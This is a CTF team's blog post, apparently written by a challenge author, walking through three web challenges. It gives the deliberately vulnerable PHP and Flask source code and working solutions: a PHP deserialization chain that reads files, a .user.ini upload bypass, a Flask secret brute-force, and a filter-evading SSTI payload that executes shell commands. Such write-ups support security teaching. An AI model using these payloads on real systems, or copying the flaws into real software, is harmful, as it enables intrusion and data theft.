除了夢想外一無所有的我們,將會和蔑視與困境做最後的鬥爭,這是最後一舞
N0wayBack 聯合戰隊成立以來一直致力於資訊保安技術的研究,作為聯合戰隊活躍在各大 CTF (資訊保安競賽)賽事之中,並依靠著過硬的實力吸引了無數同樣熱愛安全的小夥伴。戰隊現有師傅20餘名,特訓學生10餘名,包括了研、本科學生,企、事業單位員工以及網安實驗室成員,內部氛圍融洽,關係和諧。雖然我們可能身份各異、年齡跨嶺,但在這裡,我們只有一個身份,那就是熱愛網安的CTFer
給MiniNK師傅出的web題,正好最近有點心得,又逢考試月,心情難免有點壓抑,出題釋放釋放我的emo情緒。
最近做反序列化的題真是有點多,每次都得坐會牢,新鮮的玩法暫時還沒想到,就想著整點老玩法吧,字元逃逸,嗯,感覺有點簡單了,配不上Mini師傅的身份,那淺淺加個原生類利用,就當做mini師傅的簽到題了。首先先手擼php程式碼,過程有點曲折,直接放原始碼了:
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $name;
public $a;
public $b;
public function __construct(){
$this->name = '學霸';
}
public function Eval(){
if($this->name != '學渣'){
die('不是學渣不配拿flag');
} else {
echo new $this->a($this->b);
}
}
public function __call($a,$b){
$this->Eval();
}
}
class B{
public $en;
public $test;
public function __construct($en){
$this->en = $en;
}
public function __destruct(){
echo $this->test;
}
}
class C{
public $good;
public function __toString(){
$this->good->havefun();
}
}
if(isset($_POST['p'])){
$p = $_POST['p'];
$p = preg_replace('/學渣/i','學霸', $p);
$p = preg_replace('/heizi/i','lanqiu', $p);
echo unserialize($p);
}
?>
非常簡單的一道反序列化,壞了,怎麼長的像籃球杯,感覺有點瘋魔了,算了,就這樣吧,還是有差別的。鏈子很簡單,B::__destruct() -> C::__toString() -> A::__call -> A::Eval
,進入到Eval,我們就能利用原生類讀取檔案了。這裡需注意的是學渣被替換成學霸導致無法進入Eval,我們可以利用十六進位制來繞過這個替換,S下的內容會以十六進位制的形式被識別。
鏈子exp如下:
<?php
class A{
public $name="學渣";
public $a;
public $b;
}
class B{
public $en = 'heizi';
public $test;
}
class C{
public $good;
}
$a = new A;
$b = new B;
$c = new C;
$b->test = $c;
$b->en = 'heiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheizi";s:4:"test";O:1:"C":1:{s:4:"good";O:1:"A":3:{s:4:"name";S:6:"\e5\ad\a6\e6\b8\a3";s:1:"a";s:13:"SplFileObject";s:1:"b";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}';
$c->good = $a;
$a->a = 'SplFileObject';
$a->b = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($b);
?>
本來想出一個實戰中遇見的偽靜態頁面注入,但實現起來有點困難,火燒眉毛了,就準備換個題型出,想了半天打算出個檔案上傳,但又不能過於簡單,突然靈光一閃,就有了這題
#index.php
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">檔名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
#upload.php
<?php
highlight_file(__FILE__);
$file = $_FILES['file'];
if(!$file){
exit("請勿上傳空檔案");
}
$dir = "upload/";
$name = $_FILES['file']['name'];
$tmp = $_FILES['file']['tmp_name'];
$ext = substr(strrchr($name, '.'), 0);
if(preg_match('/p|h|s|[0-9]/i',$ext)){
$ext = ".jpg";
$name = time().$ext;
}
$path = $dir.$name;
move_uploaded_file($tmp, $path);
?>
簡單的做了個過濾,會將上傳的檔名替換成時間戳+.jpg,但是這段程式碼邏輯存在些缺陷,如果我們上傳.user.ini就會是原樣上傳,這裡考查選手編寫指令碼爆破時間戳檔名的能力和意識到.user.ini的存在
import requests
import time
url = "http://192.168.13.83:9999/upload.php"
file = open('a.php', 'r')
r = requests.post(url, files={"file": file})
print(str(time.time())[:10])
非常的簡單,這裡時間戳跟上傳的居然完全一樣,難度再度下降,早知道設定個sleep了
江郎才盡了,沒有一絲絲靈感。突然想到一個考點見的很少,flask seesion,大家都熟透了,大部分似乎都是找app.secret
,很少見到來爆破secret的,嗯,想想就一陣激動。這裡就不得不提一個工具: flask-unsign
, 這個被打包成了pip,安裝直接pip install flask-unsign
,完全可以當作flask-session-manager的替代品。爆破命令:
flask-unsign --unsign --cookie="Your_session"
爆出key: root
,題目流程很簡單,偽造session成admin後我們就能使用ssti這個點了,ssti當然差不多拉到最高level的過濾了,老生常談,也是考一個比較偏僻的特性
'%c%c%c%c········'|format(99,99,99,98·······)
很明顯,format(99)後的字元填充到%c處,這樣可以繞過大部分對於關鍵字的過濾了。過濾了.
用attr來拼接,究極payload就是:
{%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'%2b's')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat%09/f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}
利用的類很多,並不侷限於我這一種。這裡是題目原始碼,寫的很草率,師傅們輕噴:
#app.py
from flask import Flask, request, render_template, session, render_template_string
app = Flask(__name__)
app.secret_key = "root"
@app.route('/')
def index():
session['username'] = 'guest'
return render_template_string('<!-- /hello 下有好東西給你康-->')
@app.route('/hello', methods=['GET'])
def hello():
name = request.args.get('name')
black_list = ['\"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']
if name:
for i in black_list:
if i in name:
return render_template_string('<script>alert("hacker!!!")</script>')
if session.get('username') == 'admin':
context = render_template('templates.html')
context = context.format(name)
return render_template_string(context)
else:
return "只有admin才有資格使用這個功能哦"
else:
return render_template_string('<h1>Hello 旅行者</h1>')
if __name__ == '__main__':
app.run(host="0.0.0.0")
<!-- templates.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>HELLO</title>
</head>
<body>
Hello {}
</body>
</html>
#Dockerfile
# 基於的基礎映象,這裡使用python,開發版本是 3.9.2 ,基礎映象也寫3.9.2
FROM python:3.9.2
# /app 是要部署到伺服器上的路徑
WORKDIR /app
# Docker 避免每次更新程式碼後都重新安裝依賴,先將依賴檔案拷貝到專案中
COPY requirements.txt requirements.txt
# 執行指令,安裝依賴
RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
# COPY指令和ADD指令功能和使用方式類似。只是COPY指令不會做自動解壓工作。
# 拷貝專案檔案和程式碼
COPY . .
# 執行指令,字串間是以空格間隔
CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]
requirements.txt
gunicorn
gevent
flask
#gunicorn.conf.py
workers = 5 # 定義同時開啟的處理請求的程序數量,根據網站流量適當調整
worker_class = "gevent" # 採用gevent庫,支援非同步處理請求,提高吞吐量
bind = "0.0.0.0:80" #設定埠80,這裡注意要設定成0.0.0.0,如果設定為127.0.0.1的話就只能本地存取服務了
祝師傅們玩的開心
We are still on the way, welcome to join us!